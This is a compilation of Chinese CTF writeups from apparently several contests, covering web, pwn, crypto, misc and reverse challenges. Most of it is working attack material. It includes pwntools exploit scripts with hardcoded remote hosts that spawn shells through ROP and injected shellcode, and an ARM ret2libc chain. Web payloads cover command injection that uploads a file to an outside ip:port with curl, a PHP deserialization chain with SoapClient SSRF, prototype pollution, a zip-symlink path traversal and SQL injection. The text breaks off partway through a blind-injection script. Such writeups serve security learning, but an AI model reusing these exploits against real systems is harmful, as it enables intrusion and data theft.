function parse_deck($data) {
    $reserve = read_varint($data);
    if ($reserve != 0) {
        printf("Invalid deckstring");
        die;
    }
    $version = read_varint($data);
    if ($version != 1) {
        printf("Unsupported deckstring version %s", $version);
        die;
    }
    $format = read_varint($data);
    $heroes = [];
    $num_heroes = read_varint($data);
    for ($i = 0; $i < $num_heroes; $i++) {
        $heroes[] = read_varint($data);
    }
    $cards = [];
    $num_cards_x1 = read_varint($data);
    for ($i = 0; $i < $num_cards_x1; $i++) {
        $card_id = read_varint($data);
        $cards[] = [$card_id, 1];
    }
    $num_cards_x2 = read_varint($data);
    for ($i = 0; $i < $num_cards_x2; $i++) {
        $card_id = read_varint($data);
        $cards[] = [$card_id, 2];
    }
    $num_cards_xn = read_varint($data);
    for ($i = 0; $i < $num_cards_xn; $i++) {
        $card_id = read_varint($data);
        $count = read_varint($data);
        $cards[] = [$card_id, $count];
    }
    return [$cards, $heroes, $format];
}
print_r(parse_deck($arr)[0]);

image

其实后面就卡住了,但是注意到每个卡组数字是一,然后前两个是780和670

image

就是除以10然后正常拼接就行,字数不多可以手撕

image

qrssssssss

二维码批量识别,批量二维码识别 - 支持批量处理,按时间递增排序,然后对文本进行稍稍处理一下:

NNNNNNNNNNNNNNNN
CTTTCCTTFTCTFFFC
TCTCCCFFCFFCCTFT
CTFCTFFFFFTCTTFC
{77{{7{{{{{7{77{
7{{{77777{77{7{7
3333333333333333
7777777777777777
1111111111111111
5555555555555555
--00----00--0--0
-00-0-00---00000
eeeeeeeeeeeeeeee
ebeebeebeebebbbe
bebebebeebeebbbb
----------------
4444444444444444
6565556555566566
6666565655566655
----------------
99ee9eee9ee99ee9
e99e99e999eee99e
1111111111111111
----------------
1111111111111111
1111111111111111
0000000000000000
aa8aa8a8a8aa88a8
aa8a8a8888a8a88a
ffffffffffffffff
bbbbbbbbbbbbbbbb
}}}}}}}}}}}}}}}}

括号内的内容是26个,其实基本都能确定了,剩下的可以多次试一试就找到了:

image

NCTF{737150-eeb-465-e91-110a8fb}

qrssssssss_revenge

这个题目按照时间、文件大小排序都没有很好的效果,但是有HINT:LMQH

所以这个题目是要按照纠错等级进行分布,恰好,QR RESEARCH支持这个功能,还是括号内26个字母,手撕开始:

image

image

然后按照掩码从0开始进行顺序拼接:

NCTF{621 
30783efd 
44b3692b 
4ddbecf}

拼接即可:NCTF{62130783efd44b3692b4ddbecf}

Signout

image

NCTF{Thanks_for_your_participation}

web

calc

这题是半个原题,过滤了#,但是没过滤',通过'''来闭合,进而执行命令

开始尝试了curl外带,但/flag不存在,由于是公网环境,读tmp/log.txt发现里面有根目录,就看到了flag名字Th1s_is__F1114g,但还是读不了flag,因为名字里面有过滤字符

采取的办法,cp来绕过

/calc?num=%27%27%271%27%0acp%09/T*%09/1.txt%0a%273%27%27%27 

然后通过curl外带数据

/calc?num=%27%27%271%27%0acurl%09-T%09/1.txt%09ip:port%0a%273%27%27%27

参考文章

DASCTF X SU 三月春季挑战赛复现 - xiaolong's blog (xiaolong22333.top)

pwn

babyLinkedList

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

libc = ELF('libc.so')

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='info')
        self.pipe = remote('49.233.15.226', 8002)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

    def add(self, size, content):
        self.sendlineafter(b'>> ', b'1')
        self.sendlineafter(b'size\n', str(size).encode())
        self.sendafter(b'content\n', content)

    def delete(self):
        self.sendlineafter(b'>> ', b'2')

    def show(self):
        self.sendlineafter(b'>> ', b'3')

    def edit(self, content):
        self.sendlineafter(b'>> ', b'4')
        time.sleep(0.1)
        sh.send(content)

sh = Shell()
for i in range(54):
    sh.add(0x1c, b'aaaa')
sh.edit(b'b' * 0x20)
sh.show()
sh.recvuntil(b'b' * 0x20)
libc_addr = (u64(sh.recvn(6) + b'\0\0') - 0xa6000) & (~0xfff)
success('libc_addr: ' + hex(libc_addr))

sh.edit(b'c' * 0x20 + p64(libc_addr + libc.sym['environ']))
sh.show()

sh.recvuntil(b'Content: ')
stack_addr = u64(sh.recvn(6) + b'\0\0')
success('stack_addr: ' + hex(stack_addr))

sh.add(0x1c, b'dddd')
sh.edit(b'e' * 0x20 + p64(stack_addr - 0x90))

sh.edit(p64(libc_addr + next(libc.search(asm('pop rdi;ret;')))) + p64(libc_addr + next(libc.search(b'/bin/sh'))) + p64(libc_addr + libc.sym['system']))

sh.interactive()
#date -f /home/ctf/flag

ezlink

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='debug')
        # self.pipe = process(['./ezlink'])
        self.pipe = remote('49.233.15.226', 8003)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

    def add(self, content):
        self.sendlineafter(b'>> ', b'1')
        self.sendafter(b'secret', content)

    def delete(self):
        self.sendlineafter(b'>> ', b'2')

    def show(self):
        self.sendlineafter(b'>> ', b'3')

    def edit(self, content):
        self.sendlineafter(b'>> ', b'4')
        self.sendafter(b'content', content)

sh = Shell()
sh.add(flat({0x18:0xc91}))
sh.delete()
sh.show()
sh.recvuntil(b'secret\n')
heap_addr = u64(sh.recvn(6) + b'\0\0') 
next_low1 = 0x590
low1 = 0x4b0
low2 = ((heap_addr >> 0) & 0xfff) ^ next_low1
low3 = ((heap_addr >> 12) & 0xfff) ^ low2
low4 = ((heap_addr >> 24) & 0xfff) ^ low3
heap_addr = low1 + (low2 << 12) + (low3 << 24) + (low4 << 36)
heap_addr = heap_addr - 0x14b0
success('heap_addr: ' + hex(heap_addr))

for i in range(7):
    sh.add(b'\n')
sh.delete()

sh.edit(p64(((heap_addr + 0x2080) >> 12) ^ (heap_addr + 0x2240)))
sh.add(p64(heap_addr + 0x14b0) + p64(heap_addr + 0x14d0))
sh.delete()
sh.show()
sh.recvuntil(b'secret\n')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x219ce0
success('libc_addr: ' + hex(libc_addr))

sh.add(b'\n')
sh.delete()
sh.edit(p64(((heap_addr + 0x14b0) >> 12) ^ (libc_addr + 0x21a780)))
sh.add(p64(0xfbad3887) + p64(0) * 3 + p64(libc_addr + 0x221200) + p64(libc_addr + 0x221208) + p64(libc_addr + 0x221208))
sh.recvuntil(b'\n')
stack_addr = u64(sh.recvn(8))
success('stack_addr: ' + hex(stack_addr))

sh.add(b'\n')
sh.delete()
sh.edit(p64(((heap_addr + 0x1640) >> 12) ^ (stack_addr-0x128)))

shellcode1 = asm('''

    mov edi, 1
    lea rsi, s1[rip]
    mov edx, 7
    mov eax, 1
    syscall

    xor edi, edi
    lea rsi, end[rip]
    mov edx, 0x200
    xor eax, eax
    syscall

    jmp end

s1:
    .string "Polaris"
end:
''')

shellcode2 = asm('''

    jmp start
puts:
    push rax
    push rdi
    push rsi
    push rdx
    push rbx
    xor eax, eax
puts_again:
    mov bl, byte ptr [rdi + rax]
    test bl, bl
    je puts_over
    inc eax
    jmp puts_again
puts_over:
    mov edx, eax
    mov rsi, rdi
    xor edi, edi
    inc edi
    mov eax, edi
    syscall

    xor eax, eax
    mov al, 9
    inc eax
    push rax
    mov rsi, rsp
    xor edi, edi
    inc edi
    mov edx, edi
    mov eax, edi
    syscall
    pop rax

    pop rbx
    pop rdx
    pop rsi
    pop rdi
    pop rax
    ret

start:
    mov r15d, 0x01010901
    sub r15d, 0x01010101
    add rsp, r15

    ;// mov rax, 0x10101010101676d
    ;// mov r15, 0x0101010101010101
    ;// sub rax, r15
    ;// push rax
    ;// mov rax, 0x65732f636f72702f
    ;// push rax
    ;// "/proc/self"

    ;// push 0x2e
    ;// "."

    push 0x2f
    ;// "/"

    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    mov edi, -100
    mov eax, 257
    syscall  ;// open(path, O_RDONLY)
    push rax

    xor edi, edi
    mov esi, 0x01014101
    sub esi, 0x01010101
    mov edx, edi
    mov dl, 3
    mov r10d, 0x01010123
    sub r10d, 0x01010101
    mov r8d, edi
    inc r8d
    mov r9d, edi
    xor eax, eax
    mov al, 9
    syscall ;// mmap(NULL, size, 3, 0x22, -1, 0)

    mov rsi, rax
    pop rdi
    mov edx, 0x01014101
    sub edx, 0x01010101
    mov eax, 0x010101da
    sub eax, 0x01010101
    syscall ;// getdents64(fd, buf, buf_size)

next_file:
    xor rax, rax
    mov ax, [rsi + 0x10] ;// d->d_reclen
    lea rdi, [rsi + 0x13] ;// d->d_name
    cmp dword ptr [rdi], 0x67616c66
    jz puts_flag
    call puts ;// puts(d->d_name)
    add rsi, rax
    mov rax, [rsi]
    test rax, rax
    jne next_file

    exit:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

puts_flag:
    mov rsi, rdi
    xor eax, eax
    mov edx, eax
    mov edi, -100
    mov eax, 257
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

''')

sh.add(flat([
    0, 
    libc_addr + 0x000000000002a3e5,
    (stack_addr & (~0xfff)),
    libc_addr + 0x000000000002be51,
    0x1000,
    libc_addr + 0x000000000011f497,
    7, 0,
    libc_addr + 0x0000000000045eb0,
    10,
    libc_addr + 0x0000000000091396,
    libc_addr + 0x000000000008821d,
]) + shellcode1)

sh.sendlineafter(b'>> ', b'5')
sh.recvuntil(b'Polaris')
sh.send(shellcode2)

sh.interactive()

ezshellcode

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='info')
        # self.pipe = remote('localhost', 9999)
        self.pipe = remote('121.4.15.155', 9999)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

def ptrace_hook(_pid):
    _sh = Shell()
    shellcode = asm(f'''

        mov edi, 16 ;// PTRACE_ATTACH
        mov esi, {_pid}
        xor edx, edx
        xor r10d, r10d
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        ;// get_image_addr
        sub rsp, 232
        mov esi, {_pid}
        xor edx, edx
        mov edi, 12
        mov r10, rsp
        xor r8d, r8d
        xor r9d, r9d
        l1:
        mov eax, 101
        syscall
        cmp rax, 0
        jl l1

        mov rax, QWORD PTR 40[rsp]
        add rsp, 232
        sub rax, 4928

        mov edi, 5 ;// PTRACE_POKEDATA
        mov esi, {_pid}
        lea rdx, [rax + 0x4050]
        mov r10, rax
        add r10, 0x1333
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        mov edi, 17 ;// PTRACE_DETACH
        mov esi, {_pid}
        xor edx, edx
        xor r10d, r10d
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        mov edi, {_pid}
        mov esi, 18
        mov eax, 62
        syscall

    exit:
        xor edi, edi
        mov eax, 231
        syscall ;// exit

    ''')
    _sh.recvuntil(b'\n')
    # pause()
    _sh.send(shellcode)
    _sh.close()

sh = Shell()

sh.recvuntil(b': ')
pid = int(sh.recvuntil(b'\n'))
success(f'pid: {pid}')

ptrace_hook(pid)

# pause()

sh.send(asm('''

    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

'''))

sh.interactive()
# flag{053d8801-8700-4ff5-a6d5-20cc762b719e}

2022 I-S00N CTF Partly Writeup | By SanDieg0

PWN

babyarm

首先就是绕过一个简单的变表base64的加密key

然后就是一个类似ret2libc的利用方式,不过没有直接控制r0的gadget

使用的是arm32中万能的gadget

from pwn import *
#p = process(["qemu-arm","-g", "1212","-L", "/usr/arm-linux-gnueabi/", "./chall"])
#p = process(['qemu-arm','-L','/usr/arm-linux-gnueabi/','./chall'])
p = remote('47.108.29.107',10244)
context.log_level='debug'
context.arch='arm'

elf = ELF('./chall')
libc = ELF('./libc-2.27.so')
#context.terminal = ['gnome-terminal','-x','sh','-c']

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

sla('msg> ','s1mpl3Dec0d4r')
r4 = 0x00010cb0
r3 = 0x00010464
movcall = 0x00010ca0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leak('puts',puts_plt)
pl = b'a'*0x2c+p32(r4)+p32(0)+p32(0)+p32(0)+p32(puts_got)+p32(0)+p32(0)+p32(0)+p32(r3)+p32(puts_plt)+p32(movcall)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0x0010B60)
pause()
p.sendlineafter('comment> ',pl)
libcbase = uu64(r(4)) - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + 0x00131bec
leak('libcbase',libcbase)
sla('msg> ','s1mpl3Dec0d4r')

pl = b'a'*0x2c+p32(r4)+p32(0)+p32(0)+p32(0)+p32(binsh)+p32(0)+p32(0)+p32(0)+p32(r3)+p32(system)+p32(movcall)
p.sendlineafter('comment> ',pl)

p.interactive()

image

{: id="20221127195858-c3goidh" updated="20221127195900"}

WEB

babyphp

<?php
//something in flag.php

class A
{

    public $a;
    public $b;

    public function __construct()
    {
        $this->a="0e1137126905";
    }
    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;
    public function __construct(){
        $this->a="phpinfo";
    }
/*
    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    */
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}

$pop=new B();
$pop->a=new C();
$pop->a->c=new A();
$pop->a->c->b=new C();

echo serialize($pop);

同时在 flag.php中 需要使用ssrf 尝试在call_user_func处 使用soapclient 进行 ssrf

<?php
$target='http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';
$b = new SoapClient(null,array('location' => $target,
    'user_agent' => "sp4c1ous\r\nCookie:PHPSESSID=flag123\r\n",
    'uri' => "http://127.0.0.1/"));
$a = serialize($b);
echo "|".urlencode($a);

然后结合session反序列化 可以打出

image

ez_js

查看源码 可用 MD5爆破将secret爆破出 为abcdefg

from hashlib import sha256,md5
x = '1946714cfa9deb70cc40bab32872f98a'
n = b'flag'
s = list('abcdefghijklmnopqrstuvwxyz'.strip())
import itertools
for i in itertools.product(s,repeat = 7):
    d = ''.join(i).encode()
    g = d+n
    m=md5(g).hexdigest()

    if m == x:
        print(d)
        break

可得admin的cookie ed63246fb602056fee4a7ec886d0a3c2

将其填入hash 可跳转得到源码

var express = require('express');
var router = express.Router();

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

router.get('/', function(req, res, next) { 
  if(req.flag=="flag"){
    //输出flag;
    res.send('flag?????????????');
    }
    res.render('info');
});

router.post('/', express.json(),function(req, res) {
  var str = req.body.id;
  var obj = JSON.parse(str);
  req.cookies.id=clone(obj);
  res.render('info');
});

module.exports = router;

merge的原型链污染 直接打

id={"aaa":1,"__proto__":{"flag":"flag"}}

image

可得flag

ezupload

先上传一个phpinfo查看细节:

image

发现 disable_functions ​被过滤了很多,尝试绕过。

和mysql里写shell一样,16进制,8进制,Unicode编码都可以,这里选择的是hex编码:

image

<?php echo "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"("index.php");?>

额虽然没读取到,但是说明命令执行成功了

image

然后就是利用glob://​尝试获取根目录flag位置:

PHP使用DirectoryIterator遍历指定目录下的所有文件-PHP基础-自如初个人博客 (ziruchu.com)

image

 <?php new DirectoryIterator("glob:///fl*");?>

转一个16进制,然后获取这个文件就行

image

file_get_contents("/fl1111111111ag")

MISC

GumpKing

直接CE改分就行

little_thief

流量包提取压缩包文件:

image

在流量记录里可以找到POST提交的流量,里面有jwt,解密:

image

image

得到密码,解压后得到flag.html

打开后里面是在线编辑器生成的,怀疑有隐写,wbStego4.3open.exe打开,不知道密码,尝试无密码获取

image

image

CRYPTO

Cry1

import string
import hashlib
a="JmxeKr3R4zh6CXZc"
encode1="3ed373143ba9844885a3fff7afd3f7eec9982bd9be51c642314855cc015da3da"
str=string.ascii_letters+string.digits
for i1 in str:
    for i2 in str:
        for i3 in str:
            for i4 in str:
                plain=i1+i2+i3+i4+a
                encode=hashlib.sha256(plain.encode()).hexdigest()
                if encode==encode1:
                    print(i1+i2+i3+i4)
#Tg4N

猜了无数次,服了

dcee4f4aead936232e409d7518778ab

Cry2

上来还是常规的加盐爆破,不说了

先用本地,弄清了一下原理

就是用flag2作为key,加密了flag1+imessage+flag2

nc之后随便敲个空格就能拿到flag1+flag2的密文,关键是key

没啥好办法,只能一位一位爆破了

from pwn import *
from Crypto.Util.number import *
import gmpy2
import string
import itertools
from tqdm import tqdm
import hashlib
from tqdm import tqdm
from Crypto.Cipher import AES
table = string.ascii_letters + string.digits
# context(log_level = 'debug')
ip = '120.78.131.38'
port = 10086
r = remote(ip,port)
def proof():
    r.recvuntil(b'SHA256(XXXX')
    a = r.recvline()[:-1].decode()
    tmp = a[a.find(' + ') + 3:a.find(')')]
    aim = a[a.find(':') + 1:]
    for i in itertools.product(table,repeat=4):
        ans = ''.join(i)
        if hashlib.sha256((ans + tmp).encode()).hexdigest() == aim:
            print(ans)
            r.recvuntil(b'Give Me XXXX:\n')
            r.sendline(ans.encode())
            return

proof()
flag2 = ''
for i in tqdm(range(1,16)):
    for t in table:
        tmp = '0' * 8 + '0' * (16 - i) + flag2 + t + '0' * (16 - i)
        # print(payload)
        r.recvuntil(b'You can input anything:\n')
        r.send(tmp.encode())
        r.recvuntil(b"Here is your cipher: b'")
        cipher = r.recvuntil(b"'")[:-1]
        # print(cipher)
        p = [cipher[i : i + 32] for i in range(0,len(cipher),32)]
        if p[1] == p[2]:
            flag2 += t
            print(fleg)
            break
flag2 += '}'
key = flag2.encode()
print(key)
r.interactive()

9d30601ed8af0f7cb9f55212ce3e005

最后一个AES解密解决战斗

table='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
def pad( message):
    if len(message) % 16 != 0:
        return message.ljust((len(message) // 16 + 1) * 16, '0').encode()
    else:
        return message.encode()
def encrypt( key, message):
    aes = AES.new(key, AES.MODE_ECB)
    return aes.encrypt(message)
def decrypt( key, message):
    aes = AES.new(key, AES.MODE_ECB)
    return aes.decrypt(message)
from Crypto.Cipher import AES
from Crypto.Util.number import *
c=0x68e05ae1ed73ec29526b7f4ec7e025cfa162a7f20d8401a05a45c67fd6dbc180
c=long_to_bytes(c)
def decrypt(key, message):
    aes = AES.new(key, AES.MODE_ECB)
    return aes.decrypt(message)
key='IDl8FuWPu01RHZt}'
print(decrypt(key.encode(),c))
#b'D0g3{o7sIDl8FuWPu01RHZt}00000000'

REVERSE

reee

32位,打开题目跟进函数找到加密逻辑,发现没有编译成函数

a1fda9996f396c28e79749b4b2f91e6

编译成函数后,简单分析发现是RC4,密文和key已知,在线网站解密即可

D0g3{This_15_FindWind0w}

5thSpace Partly Writeup | QUALS

MISC

sakana_reveage

看源码:

            #no symlink for it 
            for zip_info in zipfile.ZipFile(zip_file).infolist():
                if zip_info.external_attr >> 16:
                    print("Hacker!!!")
                    return

所以我们可以选择发送输入。如果存在符号链接,则会打印“hacker”并返回,因此我们无法将如下所示的 zip 文件上传到此函数:

ln -s /flag symlink_to_flag.link 
zip --symlink flag.zip symlink_to_flag.link

binascii.Error被抛出时,我们并没有返回,而是继续运行该函数。这导致尝试提取/tmp/sakanas.zip

def sakana_upload():
    sakana_file_name = input("Name for your sakana:")

    encoded_sakana_content = input("Base64-encoded sakana:")
    try:
        decode_content = base64.b64decode(encoded_sakana_content)
    except binascii.Error:
        print("Error base64!")
        return

    if decode_content == b"":
        print("Empty file!")
        return

    if not decode_content.startswith(b"sakana"):
        print("Only sakana files are allowed!")
        return

    with open(os.path.join(SAKANA_PATH, sakana_file_name), "wb") as sakana_file_handle:
        sakana_file_handle.write(decode_content)

在这里我们看到文件名容易受到目录遍历攻击。这意味着我们也可以写入../../../tmp/sakanas.zip. 所以也许我们可以通过将文件上传到这个路径来读取标志,然后binascii.ErrorUpload sakanas of Zip函数中触发 a 时将其解压缩。

此外文件内容base64解码开头必须是sakana,所以创建一个内容为sakana的sakana文件

cat flag.zip >> sakana 
base64 sakana
#c2FrYW5hUEsDBAoAAAAAAK16M1VOewN1BQAAAAUAAAAUABwAc3ltbGlua190b19mbGFnLmxpbmtVVAkAA3UYKGN1GChjdXgLAAEE6AMAAAToAwAAL2ZsYWdQSwECHgMKAAAAAACtejNVTnsDdQUAAAAFAAAAFAAYAAAAAAAAAAAA/6EAAAAAc3ltbGlua190b19mbGFnLmxpbmtVVAUAA3UYKGN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBaAAAAUwAAAAAA

然后进行上传,再触发解压:

┌──(kali㉿kali)-[~]
└─$  nc 47.93.30.67 57427

   _____      /\/|        /\/|              _____ _    ___       ______ 
  / ____|    |/\/ |      |/\/              / ____| |  / _ \     |  ____|
 | (___   __ _  | | ____ _   _ __   __ _  | (___ | |_| | | |_ __| |__   
  \___ \ / _` | | |/ / _` | | '_ \ / _` |  \___ \| __| | | | '__|  __|  
  ____) | (_| | |   < (_| | | | | | (_| |  ____) | |_| |_| | |  | |____ 
 |_____/ \__,_| |_|\_\__,_| |_| |_|\__,_| |_____/ \__|\___/|_|  |______|

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

Input your choice
>> 1
Name for your sakana:../../../tmp/sakanas.zip.zip
Base64-encoded sakana:c2FrYW5hUEsDBAoAAAAAAK16M1VOewN1BQAAAAUAAAAUABwAc3ltbGlua190b19mbGFnLmxpbmtVVAkAA3UYKGN1GChjdXgLAAEE6AMAAAToAwAAL2ZsYWdQSwECHgMKAAAAAACtejNVTnsDdQUAAAAFAAAAFAAYAAAAAAAAAAAA/6EAAAAAc3ltbGlua190b19mbGFnLmxpbmtVVAUAA3UYKGN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBaAAAAUwAAAAAA

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

Input your choice
>> 4
Base64-encoded zip of sakanas:a
Error base64!
[/tmp/sakanas.zip]
  End-of-central-directory signature not found.  Either this file is not
  a zipfile, or it constitutes one disk of a multi-part archive.  In the
  latter case the central directory and zipfile comment will be found on
  the last disk(s) of this archive.
warning [/tmp/sakanas.zip.zip]:  6 extra bytes at beginning or within zipfile
  (attempting to process anyway)
Zip successfully uploaded and extracted

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

Input your choice
>> 2
0 -> symlink_to_flag.link

Select num which sakana to download
>> 0
Here is your sakana file(base64ed)
ZmxhZ3s2U0FVdDJ1VzV2blNKTjZ1VHhhMkpNWVdnUUNhSEZIVn0=

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

image-20220919180324-caoedru

5_Misc_m@sTeR_0f

这道题进入之后是一个

image

sqlite 查询的页面,经过测试后发现过滤了许多的内容,由于这里放在了 misc,考虑是一些cve,不过也没有找到。

后来想到了利用写文件写入恶意so文件,然后利用

这里首先生成一个恶意的 so 文件

b5a5357b23addfbbb9bb72dee037481

利用sqlite的writefile将恶意so文件写入,这里因为 . 被过滤文件名需要套一个hex,文件内容我们也用 hex 写入即可

image

然后load一下即可执行我们写入的命令,load没过大小写,估计是非预期吧

image

5_简单的Base

666c61677b57656c636f6d655f686572657d

hex解码即可

image

web

5_web_BaliYun

dirsearch扫描后 www.zip 源码泄露 发现是phar反序列化

    public function __wakeup(){
        echo file_get_contents($this->filename);
    }

此处存在任意文件读取漏洞,打眼一看看到 file_exit,phar没跑了,构造 phar 文件

<?php
class upload{
    public $filename = "/flag";
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new upload();
$phar -> setMetadata($object);
$phar -> stopBuffering();

web1

5_easylogin

登录界面 发现存在宽字节注入漏洞

web2

尝试进行注入,双写绕过union select,发现数据库里没东西

直接利用union任意修改密码的漏洞 尝试修改密码登录

username=admin%df'uniunionon(selselectect(1),2,0x3936653739323138393635656237326339326135343964643561333330313132)#&password=111111

web22

5_web_Eeeeasy_SQL

http://39.107.76.202:64040/api/ 发现存在目录遍历漏洞,看到 flag.php,直接访问回显

image

尝试登录,发现可以通过注释引号的方式闭合

image

但是闭合后是一个跳转,并不是什么拥有特征的界面,这里过滤了非常多的注入相关的内容,selectsubstrleftmid*-+|,空格 等等,但是大于小于号没有过滤,猜测这里可能还是存在盲注。但是没有发现怎样进行盲注,sleep 等函数也被禁用了,不能延时也没有回显。

后续在测试的时候发现,这里如果能够有返回为false的话就会回显 msg,经过测试后发现,我们可以构造条件语句进行盲注,空格可以用 #%0a 绕过

or(case#%0awhen#%0ausername>0x60#%0athen#%0a1#%0aelse#%0apow(~0,17)#%0aend)#&

image

image

这样的话我们就开可以编写脚本进行盲注,这里要注意加上 allow_redirects=False

import requests

url = "http://39.106.143.69:22993/api/api.php?command=login "

flag = ""
char = ""
for _ in range(100):
 for i in range(30,127):

  data = {
  "username":"1\\",
  "password":"or(case when password>{} then 1 else pow(~0,17) end)#".format("0x"+char+hex(i)[2:])
  }
  #绕过空格
  data['password'] = data['password'].replace(" ","#\n")

